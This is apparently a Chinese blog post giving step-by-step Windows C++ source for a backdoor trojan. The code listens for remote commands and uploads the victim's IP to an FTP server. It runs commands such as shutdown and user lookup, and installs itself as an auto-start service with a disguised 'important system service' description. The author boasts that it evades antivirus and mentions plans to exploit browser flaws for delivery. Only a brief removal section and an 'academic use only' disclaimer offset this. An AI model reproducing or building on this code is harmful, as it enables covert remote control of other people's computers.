怎样实现后台木马

        以前一直觉得像灰鸽子、黑洞之类的木马很神秘,很厉害。自己也想学学,刚好前段时间我一个导师布置了个课题研究木马防范技术。当然要防住木马这种东西总得了解别人的原理吧,无奈之中只好自己写个木马了。

        若干日后。。。。。

        其实木马这东西还真他#$简单,说穿了就是一个底层的TCP/IP通信而已。所谓木马的好坏,不外乎是指谁的隐藏做的好,谁实现的功能多少而已。不过自己写的木马比那些天天抛头露面的就是有一点特别突出——绝对免杀,我的那个木马在Bitdefender AntiVirus Plus v10 下来来回回都没被干掉。

        OK,该说重点了:

1. 木马的核心

         木马就显著的特征就是远程控制,要想实现远程,重点就是通信。从编程的角度说就是套接字编程,一开始导师让用MFC来做,可是我对MFC影响一直不好,越写到后面越觉得它垃圾,最后干脆用Win API 写了。Socket 编程最基本的模型就是 Berkeley Socket

 

          具体的实现也就是按这个流程图来做的,这里重点是服务端的实现。

 
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     
int       nCmdShow)
{
           ofstream logfile(
"LogFile.txt");
           
//Initialize winsock
           WSADATA wsaData;
            
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData);
            
if(iResult != NO_ERROR)
            {
                    logfile
<<"Error at WSAStartup() ";    
                    logfile.close();
                    
return 1;
            }
            
else    
                   logfile
<<"Initialize WSAStartup OK!";
    
             
// Create a socket.
            SOCKET serverSocket;
            serverSocket 
= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

             
if(serverSocket == INVALID_SOCKET) 
             {    
                     logfile
<<"Error at socket():"<<WSAGetLastError()<<endl;;
                     logfile.close();
                     WSACleanup();
                      
return 1;
             }
             
else
            {
                     logfile
<<"Create socket OK!";
             }

            
// Bind the socket.
             sockaddr_in service;

             service.sin_family
=AF_INET;
             service.sin_addr.s_addr
=inet_addr(HostIp.c_str());
             service.sin_port
=htons(PORT);

              
if (bind(serverSocket,(SOCKADDR*)&service,sizeof(service))==SOCKET_ERROR)
             {
                      logfile
<<"bind() failed"<<GetLastError()<<endl;
                      closesocket(serverSocket);
                      logfile.close();
                      
return 1;
             }
             
else
             {
              logfile
<<"Binding OK!"<<endl;
              }
    
    
              
// Listen on the socket.
               if(listen(serverSocket,1)==SOCKET_ERROR)
              { 
                      logfile
<<"Error listening on socket"<<GetLastError()<<endl;
                      logfile.close();
               }
               
else
               {
                      logfile
<<"Listening..."<<endl;
                }

                
// Accept connections.
                SOCKET clientSocket;
                sockaddr_in clientAddr;
                
int clientAddrLen=sizeof(clientAddr);
   
                
while(true)
                {
                           clientSocket 
= SOCKET_ERROR;
                           
while(clientSocket==SOCKET_ERROR) 
                           {
                                  clientSocket
=accept(serverSocket,(struct sockaddr*)&clientAddr,&clientAddrLen);      
                            }
                           ReceiveData(clientSocket);    
                  }   

                  closesocket(serverSocket);
                  closesocket(clientSocket); 

                  
return 0;
}

//Receive the data
void ReceiveData(SOCKET& clientSocket)
{    
            
int bytesSent;
            
int bytesRecv=SOCKET_ERROR;
            
string sendbuf="";
            
char recvbuf[32]="";
    
            
while(bytesRecv ==SOCKET_ERROR)
            {
                      bytesRecv
=recv(clientSocket,recvbuf,32,0);
    
                       sendbuf
="Received: "+(string)recvbuf;
                       bytesSent
=send(clientSocket,sendbuf.c_str(),(unsigned int)(sendbuf.size()),0);

                       bytesRecv
=SOCKET_ERROR;
                       memset(recvbuf,
'/0',32);
             }
            return;
}

         在接收客户端发来数据的地方要做成死循环,如果需要断开连接,则由客户断发送特定的消息然后进行处理。还有需要注意的是上面的HostIp是本机的IP地址,PORT是套接字需要绑定的端口。那个logfile 是我为了调试方便设的日志文件,真正用的时候最好去掉。上面的API函数随便找本参考手册都有介绍这里就不多解释了。

2. 更新IP地址

         以前自己配置灰鸽子服务端时,每次都要设什么FTP服务器来更新IP,一直都没明白为什么。这会儿才知道,你把木马丢别人电脑里,总得知道别人的IP吧,不然你的客户端都不知道往哪里连。最好的更新IP的方式就是FTP了。Win API 里面也有现成的函数来实现FTP命令。

         首先实例化一个HINTERNET句柄,然后指定调用FTP服务就可以了。

void GetHostIP()
{
         
char hostname[32]="";
         gethostname(hostname,
32);

         hostent
* hostinfo;
         hostinfo
=gethostbyname(hostname);
         
string hostip=inet_ntoa(*(in_addr*)hostinfo->h_addr_list[0]);     
    
         UpdateToFtpServer(hostip);
         
return ;
}

void UpdateToFtpServer(string hostip)
{
          HINTERNET hInternet
=InternetOpen(
                       TEXT(
"HackServer"),
                       INTERNET_OPEN_TYPE_DIRECT,
                       NULL,
                       NULL,
                       NULL);

           hInternet
=InternetConnect(
                      hInternet,
                     TEXT(
"172.18.123.123"),          //FTP Server address
                      INTERNET_DEFAULT_FTP_PORT,
                      TEXT(
"anonymous"),              //FTP Server login name
                      NULL,                                     //FTP Server password
                      INTERNET_SERVICE_FTP,
                      INTERNET_FLAG_PASSIVE,
                      NULL);

            ofstream hostinfo(filename);
    
            hostinfo
<<"The Server IP: "<<hostip<<"  "<<"The Port: "<<PORT<<endl;
            hostinfo.close();

            FtpPutFile(hInternet,TEXT(
"ServerInfo.txt"),TEXT("ServerInfo.txt"),FTP_TRANSFER_TYPE_ASCII,NULL);    
}

        先得到本机的IP,然后写入文件里面放到FTP服务器上就行了。端口自己定一个就行了。我的FTP服务器是自己用IIS搭的,就在自己电脑上,测起来方便一点。

3. 执行远程命令

         执行远程命令我这里是自己定义好了的,客户端发几个字符,服务端调用相应的函数就行,也可以调用cmd来执行多一点的命令。

void DealWith(string command,string& result)
{
          
if(!command.compare("set"))
          {
                  
return;
          }
          
if(!command.compare("quit"))
         {        
                   exit(
0);
         }
         
if(!command.compare("shutdown"))
         {
                  WinExec(
"shutdown -s -t 3",0);        
                  
return ;
          }
          
if(!command.compare("username"))
          {
                 
char username[32];
                 DWORD size
=32;
                 GetUserName(username,
&size);
                 result
=username;
                 
return;
          }
          
if(!command.compare("version"))
         {
                 OSVERSIONINFO osvi;
                 osvi.dwOSVersionInfoSize
=sizeof(OSVERSIONINFO);
                 GetVersionEx(
&osvi);
                 
char version[64];
                 sprintf(version,
"Majorversion: %ld MinorVersion: %ld BuildNumber: %ld PlatformId: %ld CSDVersion: %s",               osvi.dwMajorVersion,osvi.dwMinorVersion,osvi.dwBuildNumber,osvi.dwPlatformId,osvi.szCSDVersion);
                  result
=version;
                  
return;
          }
}

        这里,我在客户端输入quit ,木马就退出了;输入shutdown,别人电脑就可以自动关机,本来关机也有API函数的,不过好像在XP中关不了,相比用shutdown关机更方便一点;version可以得到别人操作系统的版本。

        这个地方可以加入很多代码使你木马的功能变的更多更好用。我只是为了实验,也没用什么破坏性的函数。

4. 木马的隐藏

        现在这个样子的木马,再改下注册表让开机自启动就可以用了。不过太明显了,懂点电脑的人都能把它揪出来。现在比较好的技术就是线程插入,就写把木马写成一个服务。这样注册表一大堆run键里面就找不到了,如果服务的名字再隐秘点,一般还真不容易发现。

        服务的制作要稍微麻烦一点,首先是安装服务,还好windows的Service Control Manager 把那些函数都包装好了,只用设置一些参数。

         安装服务的步骤:

             1. 打开SCM,调用的是OpenSCManger。

             2. 使用CreateService 来创建服务,这里要设置服务的应用程序路径、服务名、启动方式等。

             3. 使用ChangeServiceConfig2 来更改其它的属性。

bool CreateHackService() 

          SC_HANDLE schSCManager,schService;

          
// Open a handle to the SC Manager database.  
          schSCManager = OpenSCManager( 
                     NULL,                    
// local machine 
                     NULL,                    // ServicesActive database 
                    SC_MANAGER_ALL_ACCESS);  // full access rights 
 
           
if (NULL == schSCManager) 
                  printf(
"OpenSCManager failed (%d) ", GetLastError());

          TCHAR szPath[]
=TEXT("C:/Windows/HackServer.exe");         //Your service excute file

           schService 
= CreateService( 
                       schSCManager,              
// SCManager database 
                      TEXT("HackService"),        // name of service 
                      TEXT("The hack service"),           // service name to display 
                      SERVICE_ALL_ACCESS,        // desired access 
                      SERVICE_WIN32_OWN_PROCESS, // service type 
                      SERVICE_AUTO_START,      // start type 
                      SERVICE_ERROR_NORMAL,      // error control type 
                      szPath,                    // path to service's binary 
                      NULL,                      // no load ordering group 
                      NULL,                      // no tag identifier 
                      NULL,                      // no dependencies 
                      NULL,                      // LocalSystem account 
                      NULL);                     // no password 
 
           
if (schService == NULL) 
          {
                        printf(
"CreateService failed (%d) ", GetLastError()); 
                        
return false;
           }
           
else
          {
                     SERVICE_DESCRIPTION description;
                     description.lpDescription
=TEXT("一个重要的系统服务.");
                     
if(!ChangeServiceConfig2(schService,SERVICE_CONFIG_DESCRIPTION,&description))
                                 cout
<<"Change description failed :"<<GetLastError()<<endl;
                     
else
                                cout
<<"CreateService OK!"<<endl;
                     CloseServiceHandle(schService); 
                     
return true;
          }
}

        把服务设为自动,这样开机你的木马就自动运行了。不过我是把木马写成了一个单独的进程,在任务管理器里面还是可以看见。线程插入还在继续努力中。

        服务的主程序其实和一般的win32应用程序也差不了多少,主要是入口点有些变化:调用StartServiceCtrlDispatcher 连接到SCM.

int APIENTRY _tWinMain(HINSTANCE hInstance,
                  HINSTANCE hPrevInstance,
                  LPTSTR    lpCmdLine,
                   
int       nCmdShow)
{            

             SERVICE_TABLE_ENTRY DispatchTable[]=
             {
                     {TEXT(
"HackService"),(LPSERVICE_MAIN_FUNCTION)ServiceMain},
                     {NULL,NULL}
             };    
             StartServiceCtrlDispatcher(DispatchTable)
}

        ServiceMain是启动服务的一系列准备:

                 1. 通过SERVICE_STATUS 设置服务启动前的状态。

                 2. RegisterServiceCtrlHandler 注册服务。

                 3. 如果需要其他的一些准备,这里就做初始化。

                 4. 启动服务。

SERVICE_STATUS          HackServiceStatus; 
SERVICE_STATUS_HANDLE   HackServiceStatusHandle; 
 
void WINAPI ServiceMain(DWORD argc,LPTSTR *argv)
{
         DWORD status; 
   
          LPWSTR _serviceName 
=_T("HackService");
          HackServiceStatusHandle 
= RegisterServiceCtrlHandler(_serviceName,HackServiceCtrlHandler); 
  
          HackServiceStatus.dwServiceType       
= SERVICE_WIN32_OWN_PROCESS; 
          HackServiceStatus.dwCurrentState      
= SERVICE_START_PENDING; 
          HackServiceStatus.dwControlsAccepted  
= SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 
          HackServiceStatus.dwWin32ExitCode     
= 0
          HackServiceStatus.dwServiceSpecificExitCode 
= 0
          HackServiceStatus.dwCheckPoint          
= 0
          HackServiceStatus.dwWaitHint            
= 0


           
//Add some initialization code here  
 
           
// Initialization complete - report running status. 
          HackServiceStatus.dwCurrentState       = SERVICE_RUNNING; 
          HackServiceStatus.dwCheckPoint         
= 0
          HackServiceStatus.dwWaitHint           
= 0
 
          SetServiceStatus (HackServiceStatusHandle, 
&HackServiceStatus);
 
           
// This is where the service does its work. 
           StartServiceThread();
            
return

          还有就是对服务的注册、各种控制以及对状态的设置。

void WINAPI HackServiceCtrlHandler(DWORD Opcode) 
{
         DWORD status; 
 
         
switch(Opcode) 
        { 
           
case SERVICE_CONTROL_PAUSE: 
                
// Do whatever it takes to pause here. 
                HackServiceStatus.dwCurrentState = SERVICE_PAUSED; 
                 
break
 
           
case SERVICE_CONTROL_CONTINUE: 
               
// Do whatever it takes to continue here. 
               HackServiceStatus.dwCurrentState = SERVICE_RUNNING; 
               
break
 
           
case SERVICE_CONTROL_STOP: 
                 
// Do whatever it takes to stop here. 
                 HackServiceStatus.dwWin32ExitCode = 0
                 HackServiceStatus.dwCurrentState  
= SERVICE_STOPPED; 
                 HackServiceStatus.dwCheckPoint    
= 0
                 HackServiceStatus.dwWaitHint      
= 0

                 SetServiceStatus (HackServiceStatusHandle, 
&HackServiceStatus);        
                 
return
 
           
case SERVICE_CONTROL_INTERROGATE: 
                 
// Fall through to send current status. 
                 break
 
           
default:          
        } 
 
        
// Send current status. 
        SetServiceStatus (HackServiceStatusHandle,  &HackServiceStatus);

        
return

}

         最后就是把木马的核心代码加到里面来,那个HackServerThread 就是前面的木马主程序,这样服务启动后就是在执行木马程序。

bool StartServiceThread()
{    
          DWORD id;
          hServiceThread
=CreateThread(0,0,
                   (LPTHREAD_START_ROUTINE)HackServerThread,
                   
0,0,&id);
          
if(hServiceThread==0)
          {
                  
return false;
          }
          
else
         {
                  nServiceRunning
=true;
                  
return true;
          }
}

        如果要完善这个服务程序,还需要添加结束服务、暂停服务等函数,或者需要多线程的处理等等,这里就不详述了。

5. 怎样找出木马

        这种木马其实也不是很难发现,首先任务管理器里面进程摆在那的。用ProcessExplorer 或者PrcMgr 都可以直接找到进程的主程序在什么地方,直接删了就是。

        然后在注册表 HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services ,里面找到与那个服务相关的键删掉,或者用下面代码来卸载指定的服务

bool DeleteHackService() 

         SC_HANDLE schSCManager,schService;

         
// Open a handle to the SC Manager database.  
         schSCManager = OpenSCManager( 
                     NULL,                    
// local machine 
                     NULL,                    // ServicesActive database 
                     SC_MANAGER_ALL_ACCESS);  // full access rights 
 
         
if (NULL == schSCManager) 
                  printf(
"OpenSCManager failed (%d) ", GetLastError());

         schService 
= OpenService( 
                     schSCManager,       
// SCManager database 
                    TEXT("HackService"), // name of service 
                    DELETE);            // only need DELETE access 
 
          
if (schService == NULL)
          { 
                   printf(
"OpenService failed (%d) ", GetLastError()); 
                   
return false;
           }
 
            
if (! DeleteService(schService) ) 
           {
                   printf(
"DeleteService failed (%d) ", GetLastError()); 
                   
return false;
            }
            
else 
                    printf(
"DeleteService succeeded "); 
 
           CloseServiceHandle(schService); 
           
return true;
}

          还有就是,你的防火墙也能帮你阻止木马与远程通信,把防火墙规则调高一点对防范木马也有不小的帮助。

结语:

        这是我第一次做的木马,不免粗糙了一点。我是自己搭的FTP服务器然后开的虚拟机测试的,效果倒还不错。因为最近要做的东西比较多,所以线程插入一直也没做。还有更重要的是怎么把木马弄到别人电脑里面去。之前想利用XMLHTTP和ADOSTREAM的漏洞,弄来弄去远程只能执行脚本文件,EXE文件还不行。接下来的时间上面几个问题会慢慢解决的。

最后上面的源代码仅限学术交流,希望大家不要拿来做坏事。

      

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值